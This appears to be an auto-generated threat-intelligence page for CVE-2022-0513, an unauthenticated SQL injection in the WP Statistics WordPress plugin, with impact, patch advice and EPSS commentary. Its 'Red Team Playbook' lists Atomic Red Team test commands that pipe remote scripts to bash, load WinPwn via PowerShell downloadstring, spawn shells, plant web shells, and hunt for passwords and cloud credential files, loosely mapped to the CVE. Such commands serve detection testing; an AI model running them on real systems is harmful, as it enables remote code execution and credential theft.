CVE-2022-0513
Overview
This vulnerability is a SQL Injection caused by improper sanitization and lack of parameterization of the exclusion_reason parameter within the WP Statistics WordPress plugin. The flaw resides in the ~/includes/class-wp-statistics-exclusion.php file, specifically in the component responsible for handling exclusion records. The insufficient escaping of user-supplied input allows malicious SQL code injection during database query construction.
Vulnerability Description
The WP Statistics WordPress plugin is vulnerable to SQL Injection due to insufficient escaping and parameterization of the exclusion_reason parameter found in the ~/includes/class-wp-statistics-exclusion.php file which allows attackers without authentication to inject arbitrary SQL queries to obtain sensitive information, in versions up to and including 13.1.4. This requires the "Record Exclusions" option to be enabled on the vulnerable site.
Impact
An unauthenticated remote attacker can exploit this SQL Injection to execute arbitrary SQL commands on the plugin's database, potentially extracting sensitive information such as user data or site configuration. Exploitation requires no privileges or user interaction but depends on the "Record Exclusions" option being enabled. This can lead to data breaches and compromise of database integrity. The CVSS vector indicates network attack vector, low attack complexity, and no privileges required, emphasizing ease of exploitation.
Solution
Users should upgrade the VeronaLabs WP Statistics plugin to a version later than 13.1.4 where the vulnerability is patched. The Wordfence advisory (https://www.wordfence.com/blog/2022/02/unauthenticated-sql-injection-vulnerability-patched-in-wordpress-statistics-plugin/) provides detailed patch information and confirms the fix in the plugin's exclusion handling code. Applying the official update from the WordPress plugin repository is the recommended remediation step to eliminate this SQL Injection flaw.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the WP Statistics WordPress plugin stems from inadequate escaping and parameterization of user inputs, specifically the exclusion_reason parameter. This flaw allows for SQL Injection attacks, where an attacker can manipulate SQL queries executed by the database. The vulnerability is located in the class responsible for handling exclusion logic within the plugin, which, when exploited, can lead to unauthorized access to sensitive data stored in the database. The issue arises particularly when the "Record Exclusions" feature is enabled, as it provides an entry point for attackers to inject malicious SQL commands that can bypass authentication and access confidential information.
Attack vectors for this vulnerability are relatively straightforward, as they do not require any form of user authentication. An attacker can craft a specially designed request to the vulnerable endpoint, injecting arbitrary SQL code through the exclusion_reason parameter. This could allow the attacker to execute commands such as retrieving user credentials, accessing private data, or even altering database contents. Given the nature of SQL Injection, the potential for exploitation is significant, especially in scenarios where the plugin is deployed on high-traffic sites or those that handle sensitive user information. Attackers could leverage automated tools to scan for vulnerable installations, making it easier to exploit multiple targets simultaneously.
The real-world impact of this vulnerability can be severe, particularly for businesses that rely on the WP Statistics plugin for analytics and data management. Successful exploitation could lead to data breaches, resulting in the exposure of personal information of users, which may violate data protection regulations such as GDPR or CCPA. The financial repercussions of such breaches can be substantial, including fines, legal costs, and damage to the organization's reputation. Furthermore, the loss of customer trust can have long-term effects on business operations and revenue. Organizations that utilize this plugin must recognize the potential risks associated with unpatched vulnerabilities and the importance of maintaining robust security practices.
To detect and mitigate this SQL Injection vulnerability, organizations should implement a multi-layered security approach. Regularly updating the WP Statistics plugin to the latest version is critical, as updates often include patches for known vulnerabilities. Additionally, employing web application firewalls (WAFs) can help filter out malicious traffic and block SQL injection attempts before they reach the application. Conducting regular security assessments, including penetration testing and code reviews, can also help identify and remediate vulnerabilities before they can be exploited. Educating developers on secure coding practices, particularly regarding input validation and parameterization, is essential to prevent similar vulnerabilities in the future.
In conclusion, the SQL Injection vulnerability in the WP Statistics WordPress plugin poses a significant threat to organizations that utilize this tool for data analytics. The ease of exploitation, coupled with the potential for severe consequences, underscores the importance of proactive security measures. By adopting comprehensive detection and mitigation strategies, organizations can safeguard their data and maintain the integrity of their systems against such vulnerabilities.
CSURFACE threat intelligence has identified a marked escalation in the Exploit Prediction Scoring System (EPSS) score for CVE-2022-0513, rising by over 75% to place it within the 99th percentile of exploit likelihood. This significant increase reflects growing confidence in the exploitability of the WP Statistics SQL Injection vulnerability, despite no new public exploit code or active exploitation campaigns being detected by our telemetry. The upward trend in EPSS suggests that threat actors may be prioritizing this vulnerability for future attacks, potentially due to its high impact and the broad deployment of the affected plugin. For defenders, this shift signals an elevated risk profile that warrants heightened vigilance and prioritization in vulnerability management workflows. While the absence of confirmed exploitation activity tempers immediate alarm, the rapid increase in predictive scoring underscores the need to monitor this vulnerability closely as it may soon transition from theoretical to active exploitation. Consequently, the overall threat level for CVE-2022-0513 should be considered elevated, reflecting an increased probability of exploitation attempts in the near term.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Veronalabs | Wp Statistics | All |
cpe:2.3:a:veronalabs:wp_statistics:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-0513 |
| wordfence.com |
GitHub CVE
x_refsource_MISC
|
https://www.wordfence.com/blog/2022/02/unauthenticated-sql-injection-vulnerability-patched-in-wordpress-statistics-plugin/ |
| plugins.trac.wordpress.org |
GitHub CVE
x_refsource_MISC
|
https://plugins.trac.wordpress.org/changeset/2671297/wp-statistics/trunk/includes/class-wp-statistics-hits.php |